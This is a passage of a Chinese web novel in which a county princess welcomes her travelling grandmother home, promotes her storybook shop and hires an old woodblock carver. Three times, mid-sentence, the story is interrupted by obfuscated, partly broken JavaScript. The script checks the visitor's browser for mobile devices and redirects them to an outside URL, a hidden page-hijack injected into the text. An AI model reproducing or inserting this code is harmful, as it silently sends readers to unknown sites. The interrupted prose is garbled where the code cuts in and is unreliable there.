李骁：“阿姐买的螺钿箱子，我买的银酒壶。都是祖母外出游历用得到的。当然在家里也能用到。” 张氏笑着看向安郡王：“看来姐弟俩都懂事了，竟知道给家里人买礼物了，还一个都没落下。” 李骁：“哪有，我们一直懂事，年前我和阿姐也给祖母买了礼物。” 安王噗吱一笑：“你是说你俩送的送子观音像吗？” 一提到送子观音这事，夫妇二人，便笑得前仰后合。 当时老夫人游历归来，两人藏着掖着一直不说打算送什么，谁成想最后是个送子观音像。 李骁连忙辩驳：“那是头一回没有经验，看错了眼。我们只是想着送个菩萨像，边上的小孩，正好祖母看到还能想起我和阿姐，谁曾想那是个送子观音呢？” 一提起这事，姐弟二人就深觉冤枉。 张氏一边忍着笑，一边摆手说道：“不说这个了，你们买的布匹拿来我看看，待会每人都做一身衣裳，等你们祖母回来后，一起穿。” 姐弟二人连连点头，送子观音这事赶紧跳过去吧。李骁心里不住懊悔，怎么自己就想不开主动提了呢。这不是哪壶不开提哪壶吗。难道是白天买东西累到了。 李铮：“祖母有说明日什么时辰到吗？到时候可以去城门口接她。” 安郡王：“你们祖母就是不想我们特意去接，才不说具体时辰的，我们明天只要在家安心等她就行了。” 李铮：“好吧，那我们今日就好好睡觉，明天打足精神见祖母。” 盘了盘自己最近做的事情，李铮放下心来，朗声说道：“我最近没闯祸，还好好经营话本铺，祖母知道，定会夸我。” 一听阿姐这话，李骁赶紧回想自己最近做了什么：“祖母应当也会夸我。我没闯祸，学堂夫子布置的作业，也都完成了。” 安郡王夫妇，看到姐弟俩这幅模样，都忍俊不禁。 躺在床上，李铮还有些兴奋：“嬷嬷，你说祖母会不会一大早就到家了。” 周嬷嬷给李铮掖了掖被子：“应当不会，老夫人应该是晚上住宿，白日赶路。中午或下午到的可能更大。” “明天挽个什么发髻好呢？” “那得看明天穿什么衣服了。” “县主，您可不能再熬了，当心过了困劲睡不着。” 说完，她轻手轻脚地灭了灯。 李铮只好闭上眼睛，专心睡觉。 第二日天刚蒙蒙亮，她就早早地醒了，特意让丫鬟帮她拿了新制的衣衫和首饰。 一上午李铮都没出门，担心错过祖母回来的时辰。 她跟在张氏身后，一边观摩，一边不住念叨：“祖母怎么还没到。” 正念叨着，忽听一阵脚步声，一青年仆人小跑来报信：“夫人，县主，老夫人的车驾，已到门口，管家让我来禀您。” 16. 游历趣事 听到仆人声音，李铮猛地一下就站起来。 抬手拂了拂衣衫，低头扫视几眼，没发现问题，仍觉不放心，又忙唤丫鬟过来，瞧瞧是否齐整。 早知道自己就不簪那根嵌了宝石的赤金牡丹簪子了，实在有些太重，甚至都有些扯到头皮。下次去首饰铺，还是要买空心的。 这边李铮整理衣衫，那边张氏也连忙回想自己有没有遗漏的。 虽说江老夫人不在乎这些虚礼，但李铮和张氏还是想努力做得好一些。 小步快走，还没到大门，就看到江老夫人的身影。穿着一身利落的便装，精神矍铄，没顾得上细看，李铮便冲上前去，快到跟前，又连忙停下脚步行礼：“给祖母请安，祖母在外一切可顺利，有没有哪个碍眼的惹您不开心。” 张氏连着身后的丫鬟，也连忙上前请安。 江老夫人不在意地笑了笑，握住李铮的手：“有你在，哪有不开眼的敢惹我。再说了，君子坦荡荡，小人长戚戚。我可不怕那些牛鬼蛇神。” 又拉了拉张氏的手：“我这一走就是两个月，家里还是如此井井有条，辛苦你了。” 张氏抬头看着江老夫人：“都是我应当做的。夫君今日去当值，晚些时候才能回来。” 李铮又笑着补充：“还有阿骁，他昨天还闹着要请假接您，我们告诉他不差这小半天，要是请了假，您再以为他是想逃课就不好了。好说歹说，才把他劝下来。” 没在前院一直停留，江老夫人先让丫鬟仆人下去休整，接着就回了寿安堂。李铮和张氏脚步轻快地跟在身后。 到了寿安堂院子前，江老夫人停下了脚步，静静打量这座两个月没见的小院。 院子里的树木早就抽了新芽。牡丹开得正盛，一朵一朵，花瓣层层叠叠，肆意舒展着。 青石板上几乎看不到苔藓，一看就知道经常打理。 跨过门槛，江老夫人终于回到了家中。 到了寿安堂中，李铮担心江老夫人劳累，连忙说道：“祖母，您先休整。这次出门这么远，肯定累了，我们有什么话晚上再说，到时爹和弟弟也回来了。” 张氏也跟着说道：“用不惯的，您就直接让仆人换。有些东西不知道您喜欢什么样的，我就自己看着安排了。” 江老夫人朗声笑了：“知道你们贴心。放宽心吧，我在外面什么环境没住过。” 李铮：“等晚上，祖母你给我们讲讲游历的事好不好，我们都可好奇了。我长这么大，还没出过远门呢。游记里的那些故事隔得太远，也不知真假。祖母您说的就不一样了，不知道这次都去了哪些地方。” 终于到了黄昏时分，一家人整整齐齐地聚在寿安堂。 江老夫人换上了更符合京城习惯的藏蓝色衣衫。她的脸上有了皱纹，皮肤也没有大多数富贵人家好，但是李铮觉得江老夫人更真实，敢做自己想做的。 各种念头一个个如小鱼一样，跃出水面，又沉到水里。 李铮努力忘掉湖里的小鱼，开始专心听大家聊天。 安王和李骁也都回来了，正在听李骁说他上学的趣事。 李骁：“今天，朱子锋又欺负一个家世低的同学，我实在看不惯他那副捧高踩低的样子，就和他吵了一架。班上好些人和我站在一起。” 安王：“小人就是如此，不过你要提防他反过来害你，还有就是那个受欺负的同学有可能反水哦。” 李骁：“我也不是为了他，随便他怎么想吧，只是实在看不惯那个朱子锋。” 江老夫人：“若是打不过他，明天让武师傅赶紧多教你几招。” “祖母，我可是从小练到大的。我们学堂，跟我同龄的，没一个能打过我。” 江老夫人：“不错不错，有我和你祖父的风范了，我们两个当年也是。” 李铮听江老夫人提起祖父，担心情绪不好，连忙大声说道：“祖母，要不给我们讲讲您在外游历的事，咱们家只有你出去得多。” 江老夫人自是听出了李铮的担心，她朗声一笑，目光透着怀念：“我早就想开啦，这辈子就好好地活，到地下再和你祖父一起过。” 李铮认真地瞧了江老夫人一会儿，见她提到祖父时确实眉目舒展，就放心了。 “祖母，我是真的想听您讲讲在外游历的事。”她又扭头看向李骁：“阿骁，你想不想听。” 李骁顿时眉飞色舞，很感兴趣：“是的，祖母给我们讲讲吧。” 张氏略有些不好意思：“母亲，其实儿媳也有些好奇，我还没出过京城。” 江老夫人见几人都感兴趣，便开始有条不紊讲了起来。 “这次去了两个地方，都是小城镇，印象最深的是一个沿河修建的小镇。名字带镇，其实它比一些我见过的落后县城还要发达。” “那河四通八达，码头上船只每天来来往往。我去特意数过，不说小船，大船有时一天能停几十艘，有时十来艘。” “河上的船，可不是都一个样，分两种，你们见了就知道。非常好分辨，那种你坐在船上，伸手就能摸到水的是渔船，这种船如果不刮风下雨，就会一直早出晚归地捕鱼。” “因着这些鱼当天捕捞当天卖，所以那儿的鱼汤，喝着比京城里的更鲜。可惜了，不好带回来让你们尝尝。还有一种船，吃水深，下船时你得搭个跳板才能上下，这种就是商船。” 几人都听得目不转睛，这是他们从未见过的世界。 江老夫人，喝了口茶润润嗓子，接着往下讲。 “商船也不是都一个样，有停留半日的，有停留一两日的。你们知道为什么都是运货的商船，停留时间也能差这么多吗。要知道，做生意时间很重要，早一天晚一天可能就差很多。” 四人齐齐摇头。 “我当时也很好奇，就特意找几个当地人聊了聊。这才知道，其实是看他们上岸要干什么。要是想找买家，那花的时间就长，得找牙行，和买家谈价，看货，卸货。这一串流程下来怎么着也要一两日。要是上岸只为了补给清水和干粮，小半天就够了。” “跟我们这镇子不同，那边的老百姓都是靠河吃饭。有捕鱼捞虾的渔民，码头搬货的力工，沿街开店的小商贩，帮商贩渔民牵线搭桥的牙人。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082293|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “当然还有围着上面这些人讨生活的匠人和农户。他们那就算是农户，也跟我们的不一样，我们这只靠种地，他们基本半农半商。” “在当地，我吃过最有特色的食物就是鱼酱。其中一种叫鱼鲊的，尤为喜欢，这次回来还特意给你们带了些。” “做法也很有意思，除了鱼和常规调料，还会放糯米，所以腌好之后，一开坛，就会既有酒味，又有米香。这东西还很能放，我见好多路过他们镇子的人，都会买。一买还买很多。” “差点忘记说，他们镇上的房子也跟我们这不一样，我们沿着路建，他们沿着河建。河上时不时过些小船，你要想买谁家的东西，岸上喊一嗓子船就停了。” 几人听得都心向往之。 江老夫人看到后，话头一转：“那里湿气重，有几天我住在临河的客栈里，被子总是潮乎乎的。白天丫鬟用火盆烘个不停，就这也还是潮。” “你们知道最后怎么解决的吗？” 四人均摇头。 “解决不了。后来我看不行，搬到离河远的院子里，这才好上一些。但也只是相对好一点，实际还是潮。” “出门在外，能带的行李是有限的，肯定不像家中那么舒服，有时还得风餐露宿。” “之前有次天快黑了，我们正往下个镇子赶，还剩小半个时辰的路程，突然就刮起大风，还把马车上挡雨的篷布刮跑了。前不着村后不着店，我们只好就近找棵大树躲风。” “当时感觉天地间除了呼呼的风声，什么都听不到，也什么都顾不上想。过了不知多长时间，天都黑透了，这风总算停了。” “因着光线不好，没办法赶路，我们只好胡乱吃了几口干粮，然后直接和衣睡在了车上。” “第二天我们都是被饿醒的。”江老夫人忍不住笑了出来：“当时太阳都升老高了，也不知头天那风到底刮了多久。不过万幸没下雨，要不然得成落汤鸡。” 四人也有些冷静下来了。 “好了，今天就先说到这里吧，也到饭点了。” 四人仍有些意犹未尽。不过肚子确实有些饿了。 摆饭时，嬷嬷还把装鱼鲊的陶瓮抱了过来。果然，一拆开瓮盖，扑鼻而来的酒香。 李铮姐弟俩有点吃不太惯，不过安王夫妇二人却很喜欢。 饭后，丫鬟伺候漱了口。 李铮突然想到，准备的礼物还没送，连忙看向江老夫人：“祖母，我和阿骁还给您准备了接风礼，我送的螺钿官皮箱，阿骁的是银酒壶。” 李骁也凑到跟前：“都是我和阿姐亲手挑的，觉得您肯定用得上。我和阿姐还给咱们全家一人买了一匹布，娘已经让裁缝去做了衣服，到时候咱们可以一起穿。” 江老夫人不由自主地笑了出来：“好好好，不愧是咱们家的好孩子。” 李铮：“对了祖母，我还有桩新鲜事没跟您说呢，您铁定猜不着，等明天我再揭晓。” 江老夫人哭笑不得对着安王夫妇说：“这个阿铮，还要打哑谜。” 李铮哈哈一笑，还俏皮地朝江老夫人拌了个鬼脸。 17. 千里马—江老夫人 第二天，天光大亮，李铮精神抖擞地起了床。可能是太惦记和祖母说话本铺的事，没等丫鬟喊，她就迷迷糊糊醒来了。 特意穿了身丝绸做的窄袖短打，又换上好些天没穿的软底皂靴，也没带首饰，就这么去了寿安堂。 一到寿安堂，就见江老夫人一身短打，一把刀正舞得虎虎生威。看到李铮过来，她动作没停，继续挥舞着手中刀。 李铮自觉在不远处先拉伸身体，然后便开始扎起马步。她今天可是早有准备，特意穿了方便活动的衣服。 大概是最近她光顾着话本铺，忘记晨练，没扎多大会，就感觉自己腰酸腿酸，浑身像有蚂蚁叮。 看了下祖母，她已开始打拳，这回的拳，应当是养生用的，并不快，甚至可以说是慢吞吞的。想着祖母应当顾不上自己，她悄摸摸站直了身体，歇了会。 中间又偷偷歇了一两次，李铮觉得浑身像被火烤着，呼哧呼哧地喘着气，祖母终于要结束晨练了。 解脱啦。 一泻劲，李铮差点站不稳，好在一旁的丫鬟，很是机灵，上前两步一把扶住她。 江老夫人一边擦汗，一边看着倚在丫鬟身上的李铮，语气笃定地说道：“最近是不是偷懒了，之前可是能扎小半炷香的。” 李铮一边喘，一边断断续续说道：“也就最近一个月偷懒了。不过也没闲着，最近我可是在干一件大事。” 江老夫人挑眉：“这样啊，那跟祖母说说看，你最近是在做什么大事。” 李铮也不倚在丫鬟身上了，浑身又有劲了，她走到江老夫人跟前：“祖母，我不是有个小书铺吗，前段时间太无聊，我就琢磨着好好做下话本生意。” “这想法还跟您有关系呢。” “咦——”江老夫人诧异反问道：“跟我有关系？” “您写的信太好看，我的胃口都被吊大了！” “市面上的话本都老套得很，肯定有很多好故事被藏起来，所以我就自己开个话本铺子。这样一来，不光是我，旁人也能跟着瞧些新鲜好故事。” “前几天正好刚刊刻了两本，每本都印了几百册，祖母您猜怎么着？” 江老夫人：“都卖光了？” “对，全卖光了，刚开卖没多久就售罄了。后面铺子就每天加印，每天都有排队来买的，销量好得很。” “哟！”江老夫人不自觉挑眉：“竟卖得这般好，你是做了什么，是找来厉害的话本才人了吗？” “祖母你竟能猜到是话本才人的缘故！” “持续好几天都有人排队买，说明大家喜欢看，要不然一问买过的，都说不好看、没必要买、买了也是浪费钱，那谁还会来买。只有话本好看，才能一直卖得好。” 李铮听罢得意极了：“我把润笔费改成分成制了，还降了话本价钱。” “从做生意角度看，你怎么保证赚钱。” “头一桩，只印好看的话本，这样才能保证卖得红火；第二桩，用雕版刊刻的法子，降低本钱。这样看似一册赚得少了，但是整体卖出去的话本比之前多多了。整体反而比之前赚得多。” “原来如此。”江老夫人沉吟片刻，缓缓道，“那你要多留心，别家话本铺怕是会给你使绊子，更要防着他们联起手来算计。” 李铮半点不惧，朗声道：“见招拆招便是，我可不怕他们。而且我这才刚开始，影响不大。比咱们有权有势的，看不上这点儿薄利；不如咱们的，就算想争，也没胆子耍花招。” “不过等以后发展壮大，就说不准了。” “再说了，他们要是想学，随时都能跟着学，我决不拦着，也不怕他们学。开话本铺的多了去了，他们出的要是好看，我也会买来看。这有什么。” 江老夫人看她一副十分想得开，完全不烦恼的样子，忍不住笑了出来：“你想得通就好。” 李铮兴奋地说道：“待会儿让丫鬟把我刊刻的话本，拿给您看看。一本探案，一本风月。” 又想起之前陆祈借给她的话本：“之前一个朋友，借给我好几本不错的游记。可有意思了，里面有好些地方的风土人情。可惜了，好看的游记不是那么好找。” 说到游记，李铮开始兴冲冲地劝说江老夫人：“祖母，您昨天讲的，就很适合写成游记。还有你之前寄过来的信，比很多话本都有意思。” “毕竟能和您一样外出游历，又去过那么多地方的是少数。您要是不写，多可惜。写出来，能被好些人看到。说不准日后流传千古。” 惹得江老夫人哭笑不得：“我哪有那个精力，这辈子也没写过书。” 李铮：“您小瞧自己了。早上您那刀舞得虎虎生威，绝对强过好些年轻人。” “您看我，扎马步都扎不久。而且这段时间正好您在家闲着，多无聊啊天天闲着，就当给打发时间了。说不准日后流传千古。” “再说了，话本又不像文人写书，那么多条条框框。只要写得通俗易懂，读着有意思就行了。保准有很多人来看。” “您写出来，到时候放我铺子，我帮您刊刻，保准让您看到，大家排队抢着买的样子。看完回来饭都能多吃两碗！” “好好好，我定会好好考虑。”江老夫人扑哧一笑：“你不用再劝了，再劝下去，今日这顿早饭，怕是要拖到晌午了。” 李铮顿时故作乖巧闭上嘴巴，引得江老夫人又哭笑不得地看了她几眼。 不过江老夫人没说什么，她担心自己一开口，李铮又要来劝她。 吃完早饭，李铮没回自己院子，而是继续赖在寿安堂。 她一点儿也没客气，气势昂扬地指挥丫鬟搬了两张躺椅出来，摆在院子里。 祖孙俩便一块躺在院子里，晒起了太阳，现在已经四月初，暖洋洋的，完全不用盖毯子。 闭上眼睛，眼前依旧亮亮的，她脆声声地说道：“祖母，我想让大家都能看得上话本。各种各样的话本，总有一种他们喜欢的。而且我觉得文字是充满力量的，不过我还说不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085687|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出为什么。” “我喜欢看游记，可能也跟很多地方，都没机会亲自去走走的缘故。”说着说着，她声音不自觉低了下去。 江老夫人看了看她，轻声感慨：“其实我原来也没想到，自己竟能去那么多的地方。说不准日后你也有机会。现在你才多大，哪能说那么笃定的话。” “你之前提的让我去写游记的事情，我方才想了想，觉得可行。不光要写，还得好好写。即使看的人不多，但只要有人看就满足了。” “在外游历时，我见到好些人和事，好人，坏人，不好不坏的人。这些都值得记下来。但是除了讲给你们，一直不知道还能讲给谁，没人会听我说这些。” “你今天说的，正好提醒了我，我可以写下来。这样想看的人自会来看。” “再起个别号，这样看书之人，也不知道是谁写的。不过要是大家都喜欢，就可以慢慢透露出来，要是不喜欢，那就捂紧点。总而言之，进退自如。”说着她自己就忍不住笑了出来。 李铮听完，嗖的一下，从躺椅上坐起来，也顾不上伤春悲秋了，她凑到江老夫人跟前：“真的吗？祖母，您说的是真的吗！不是在骗我。” 江老夫人无奈地说：“你这孩子，我还能骗你不成。” “太好喽！又有好看的话本可以看喽！”李铮欢呼：“祖母！你们这些有才华有故事讲的人，就应该多写些，千万不能被埋没，埋没就太可惜了。” 说完她又谄媚地看向江老夫人：“祖母您要有什么需要，不用客气，随时让人喊我。” 江老夫人无奈地摆摆手：“好好好，你说的我都知道了。不过你是不是，该去你娘那里学管家了。” 她嘿嘿傻笑了两下：“我这就去！其实平日也不是每天都去学的。” 她一走，江老夫人就忍不住笑出来，对着自己的嬷嬷说道：“阿铮精力可真旺盛，她一个人，就能顶几个人的热闹劲。” 嬷嬷听完，笑着回道：“县主和您小时候一样呢，天天心情好得不行，而且还明事理，特别讨长辈喜欢。” “这倒是，不少老人都喜欢热闹的孩子。而且阿铮是县主，只要不钻牛角尖，往后定能一辈子顺顺遂遂。只是不知，她的姻缘在哪里。” 边上的老嬷嬷，跟着江老夫人大半辈子了，她最是知道自家老夫人的婚姻情况的：“还是尽量找个情投意合、负责任的。像您和老郡王一样，和和美美一辈子。” 江老夫人：“最要紧的是人品，要是人不靠谱，怎么都不行。多少人家，订婚时看着哪哪都好，一结婚就变了。不过也可能是，最开始藏得太深。” 两人感慨片刻，嬷嬷顿了顿，又轻声问道：“老夫人，您是真打算写游记吗。” 老嬷嬷正暗自纠结是不是没听清，江老夫人终于缓缓开口，语气笃定：“写，真打算写。我都半截身子入土的人了，如果能留下来点什么，那就再好不过了。而且阿铮那么喜欢我写的故事。实在找不到半分不写的理由。” 18. 寻找雕版匠人 两日未去书铺，李铮打算去瞧瞧收藏本的刊刻进度。 一进书铺后院，便见张大掌柜手上正捧着本样书，同几位匠人围聚在一起，热火朝天地讨论着什么。 她走上前去，目光落在众人围着的书册上，是册锦帙精装本，朗声问道：“这是在忙些什么？” 张大掌柜：“县主，这是前两日您提的锦帙本的样书，用了上等的楮皮纸，这纸不易发黄、吸墨性也好，最适宜。函套用了蜀锦，保准能存放个十年八年。” 一边说一边将样书递给李铮。 李铮将样书掂在手里，打量了下锦缎纹路，又翻开内页，细看字迹，感觉不甚清晰，又快速翻了几页，都是同样的毛病。 她忍不住皱起了眉：“字迹不甚精细，比如这个“柳”的撇，常规刊本没问题，但是锦帙本不行，太粗糙了。” 张大掌柜和桂丫连忙凑上前去看她指着的方向，是有些粗糙，有的笔画带着毛刺，有的笔画比较浅。 桂丫忍不住小声说道：“之前常规刊本还不明显，怎么今日这么明显。” 李铮淡淡说道：“楮皮纸对雕版的要求高，我们刻得不够精细，自会如此。” 一旁的雕版匠人满脸愧色，躬身请罪：“误了县主的事，实在是对不住。小的没想到楮皮纸要求这般高，才出了纰漏。” 张大掌柜见李铮面色严肃，连忙上前解释道：“县主，估摸着就算让他们重刻，改善也不大。城里能刻楮皮纸的老手艺人不多，咱们铺子的匠人，确实差了些火候。” 想了想，他又提了个主意：“要不降低些要求，价格也降些。” 李铮沉默片刻，眼神逐渐坚定：“不妥，既然是锦帙本，便不能有瑕疵。富家子弟见惯了精刻善本，这般模样的，入不了他们的眼。” 抬头看向面前的这些匠人，沉声道：“这事我来想办法，这两日寻个老手艺人过来。不过你们也要自己想法子精进技艺。往后铺子的生意只会越做越大，对雕版的要求，肯定越来越高。” 一老匠人闻言，连忙躬身作揖：“多谢县主体恤！小的们一定好好努力。” 交代妥当，李铮没多停留，转身出了书铺。 她打算去云秀那问问，她家文官辈出，兴许会有好刻工。 赵家门房的仆人一见李铮，连忙笑着行礼，引着她往内院书房去。 李铮到时，云秀看书正看得入神。见仆人领着李铮过来，愣了愣，忙放下书，开口问道：“阿铮，这般突然，可是出了什么事？” 李铮见她着急，才想起自己忘了递拜帖。忙笑着摆手解释：“并非急事，只是想寻你帮忙。你家可还有手艺精湛的刻工？我们书铺刻工技艺一般，刊刻常规版还行，精装版就有些捉襟见肘了。所以想着寻个高手帮忙指点下。” 云秀听完面露难色：“阿铮，你急吗。刻工我做不了主，是堂叔家的人在打理。想要他来帮忙，最快也得等我爹下值，再让他去找二叔说项。实在是对不住，你之前帮了我大忙，我却帮不上你。你等我想想，看有没有别的法子。” 李铮见她越说越难过，连忙劝道：“没事，你这不行，我再找旁人就是了。有些事情你做不了主，我知道的。别伤心，这又没什么。” 云秀有些低落地说道：“只是发现自己什么都做不了主罢了。” 她很想能帮上李铮的忙，李铮之前替她解了围，可是刻工书坊都是堂叔家在管，自己平日也没接触过族里的生意，实在帮不上。 眼前猛地一亮：“先前遇着个懂造工具的，你下次若要改造工具，我可以问问看，说不准就能帮上你忙了。” 顿了顿，又补充道：“近来我也在琢磨这个，还置办了些小木作的家什，摆弄着挺有意思。今日你忙，就不拉你去看了。下次再来，我带你去瞧。” 李铮听完，眉眼弯弯笑起来：“太好了，这下也算有门路了，我还不认识擅营造的人嘞！” 说着又凑趣道，“没想到你竟开始研究这个，我还挺好奇鲁班锁怎么做的。下回定来你家瞧瞧。” 离开赵家，李铮没气馁，她打算再去陆祈那看看。今天正好休沐，他兴许在家。 不好贸然上门，李铮便让金竹去陆家递个话，问问是否得空。 陆祈听到李铮约他见面时，有些惊讶。最近五柳斋生意很好，难道是审稿审不过来。担心有什么急事，陆祈丝毫没耽搁，就快步去了茶坊。 另一边李铮在茶馆刚喝上一盏茶，陆祈就到了。 “你到得好快，快来喝茶！”她一边说，一边给陆祈倒茶。 陆祈看她倒茶，有些受宠若惊。 怎么忽然对自己这么热情。 难道是想让自己帮些奇怪的忙？ 应当不是什么难为人的，大约是书铺相关。 定下心来，陆祈慢吞吞地喝了口茶：“县主，您就直说吧，是想要我帮什么忙？我看能不能做到。” 李铮嘴角扬起：“你怎么知道，我想找你帮忙。不愧是秀才，就是聪明！” “您都给我倒茶了，担心待会要是帮不上忙，付不起茶钱。” “咦。”李铮身子微微前倾：“你竟还会说笑话！一直当你是个端方稳重的陆秀才呢。” 陆祈：“方才我只是实话实说罢了。万一我拒绝县主，县主一气之下让我赔茶钱，赔不起可怎么办，总不能把我押这。” 李铮被他一本正经的样子逗笑：“自是不会让你赔。我们见过面，又互通过信，我还以为咱们已经是朋友了。” 见陆祈只是低头注视茶杯，李铮眉梢忍不住扬起：“难道不算吗？” 手中茶杯尚温，陆祈微微低眉，目光落在李铮身上：“自是算的。” 听到陆祈承认，李铮眉眼弯起，朗声笑起来。 轻咳两声，她平复了下自己的心情：“我要说正事了，你不能再逗我笑了。” 她感觉自己脸烫烫的。 忍住不笑，她开始说正事：“这次约你见面，是想问你，家中可有手艺精湛的刻工。我的书铺打算做锦帙精装的话本。但是铺子里的刻工手艺一般，印出来的总有些粗糙，所以想请厉害的师傅帮忙看看。” 陆祈听到正事，也沉稳了起来：“我倒认识个致仕的刻工，之前在国子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104149|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 监任职。他的手艺肯定够你们用了，要不去问问情况？” 李铮听罢眼睛止不住发亮：“太好了！你今天方便去吗？” “可以，不过我要先回家骑马。” “要不你先骑金竹的，他今天是骑马随行。” 想到陆祈有可能会介意，她又补了句：“要是介意的话就算了。” “没关系，按你说得来就行。” 两人便一同下楼。陆祈骑着马，稳稳地跟在马车左侧。 李铮凑到车窗那，边看风景，边和陆祈搭话：“你们最近也有时间休沐吗，不是要秋闱。” 陆祈：“到现在的话，其实不只考背诵理解，还会考策论，光闭门读书其实没用。有些人科举前还会去游学，就是这个原因。” 李铮：“游学应该挺有意思的吧，我还没出过远门。我家里祖母出门最多，每次都会给我寄信。信中写了她碰到的有意思的人和事。” 陆祈：“多少人羡慕县主呢，起码县主能看到信。” 一听到这个，李铮就忍不住笑了出来：“兴许你以后也有机会看到。” 陆祈有些诧异，他忍不住看向李铮，想知道她到底什么意思：“我有机会看到江老夫人的信？” “当然。”李铮朗声道：“祖母已经答应我了，她会试着写些游记，到时候让我来刊刻。” “只要写出来，我就送你一本。不过你得替我保密，祖母不让说出来。” “原来是要刊刻出来啊。这样也挺好的，这样大家就都有机会看了。”陆祈有些恍然，唇角几不可察地抿了下。 转身看了李铮一眼，他忍不住又问了一句：“我和别人的也都一样吗？” 李铮怀疑他是有些吃醋，不想和别人一样，连忙安抚：“你是我的朋友，当然和别人不一样。你放心，到时候我让祖母给你题字。上书祝陆祈平安顺遂，万事如意。保准别人都没有。” 陆祈极轻地笑了下：“那我们就说好了，不许食言。” 李铮趴在窗子上，语气轻快又笃定：“君子一言，驷马难追。” 就这么边说边笑，感觉没多大功夫，马车便停了下来。 翻身下马，扬起手臂，陆祈准备扶李铮下车：“巷子有些窄。下车走过去如何？” 一旁的周嬷嬷看不下去，连忙说道：“县主，我们从这下吧，这平整，您扶着我。” 李铮：“嬷嬷，我不用扶。你自己小心就行。” 陆祈有些羞赧地摸了一下鼻子，没说话。 边走边看，这里都是一进的小宅子，她好奇问道：“你是经常来吗？感觉你很熟悉这里。” 陆祈：“来过几次，他没致仕前，我们就熟悉了，最开始是因为学院要刻书。他的手艺很精湛，姓庄，喊他庄师傅就行。” 李铮听完眼前一亮：“那可以考虑雇他到铺子里来，带带徒弟。我们店里的刻工，刻印常规本还凑合，收藏本就不行了。” 陆祈：“待会可以当面问他，右边这户就是他家。” 轻叩门扉，里头一小童噔噔噔跑来开门，仰着小脸大声问道：“你们是谁？” 19. 雕版初定 浴佛节相邀 那小孩见是陆祈，立马喜滋滋地凑上来，脆生生地喊了声：“陆大哥！你怎么来了。爷爷在院子里晒太阳呢。” 抬眼又瞧见陆祈身侧的李铮，好奇道：“这位姐姐是谁？”小眼神不住在二人身上打转。 陆祈和这小孩应该挺熟，他伸出手指，敲了敲小孩儿脑袋：“你一小孩，怎么问题那么多。” 说完就带着这小孩往院子走去。 庄师傅看到二人有些惊讶：“这位是？” 陆祈：“这是福安县主，书铺有些事，想请你帮忙。” 庄师傅连忙弯腰请安。 见他头发花白，李铮连忙伸手虚扶：“庄师傅，不必多礼。” “刚才路上，陆郎君一直说你技艺精湛呢。我的书铺，最近打算印些收藏本，但是总觉得字迹不够清晰，想请你帮忙看下怎么回事。酬劳不必担心，如果方便，也可以来铺子上工。” 庄师傅：“老朽年龄大了，上工倒不必。” 李铮：“不方便每日上工的话，也可以五天、十天来一次，只用带带徒弟就行。” 见庄师傅不为所动，她便继续说道：“最近改成分成制的书铺，就是我的。现下书铺的工匠，刊刻常规版还行，收藏版就有些捉襟见肘了。” “我想让大家都能看到有趣的故事，但这不是光想就能做到的。现下书铺常规话本是三百文一册。每卖一本话本才人就能收到一笔提成。” 想了想，她又说道：“刊刻收藏本是为了卖给富家郎君、娘子的。一能挣钱，二能提高店铺名声。” “现在收藏本卡在了字迹不够清晰上，因此需要一名技艺精湛的老师傅，来指点指点。” “您年龄大了，不方便每日上工也不要紧，每月四次，每次只用半天。月例一两银子如何？每日闲在家多无聊，您就当隔三差五出门找人聊天，发挥下余热，顺带再挣笔钱。何乐而不为？” 庄师傅捋了捋胡须，沉吟片刻，恭敬说道：“县主既然这般说，那老朽就恭敬不如从命。” 见他答应，李铮脸上露出笑容，朗声道：“你放心，只要用心指点，除非是你自己不愿意干，不然这月例就会一直发下去。” 庄师傅闻言轻轻点头，只道：“老朽听县主的，何时都成。” 李铮：“若是方便的话，最好是今天下午。” 庄师傅：“行，老朽吃完午饭就过去。” 临走前，李铮又拿了些糖给这不怕人的活泼小孩吃。 那小孩吃完一颗，开心地眉飞色舞，剩下的也不舍得吃了，当即揣进袖里藏着。 一行人走出庄家小院，还能听到那小孩儿的笑声。 李铮忍不住也跟着轻声笑了起来。 想了想，她看向陆祈：“要不要吃糖，刚那小孩儿吃得多高兴呀。” 陆祈有些讶然地看向李铮。 李铮见他反应，没忍住笑了出来：“就这么难以置信吗？” 陆祈轻抿了下唇：“略有些猝不及防。” 李铮：“伸出手来。” 陆祈迟疑了下，还是伸出手。 他的手骨节分明，手指略有薄茧，应是常年执笔写字所致。 李铮从袖中掏出剩下的糖，往陆祈手心放了一大半，又拿出一颗丢进自己嘴里，甜丝丝的。 语气含混地说道：“这糖是水果味，你快尝一颗！” 陆祈只好也往嘴里丢了一颗，果真很甜。 一时间巷子里便只剩下甜味。 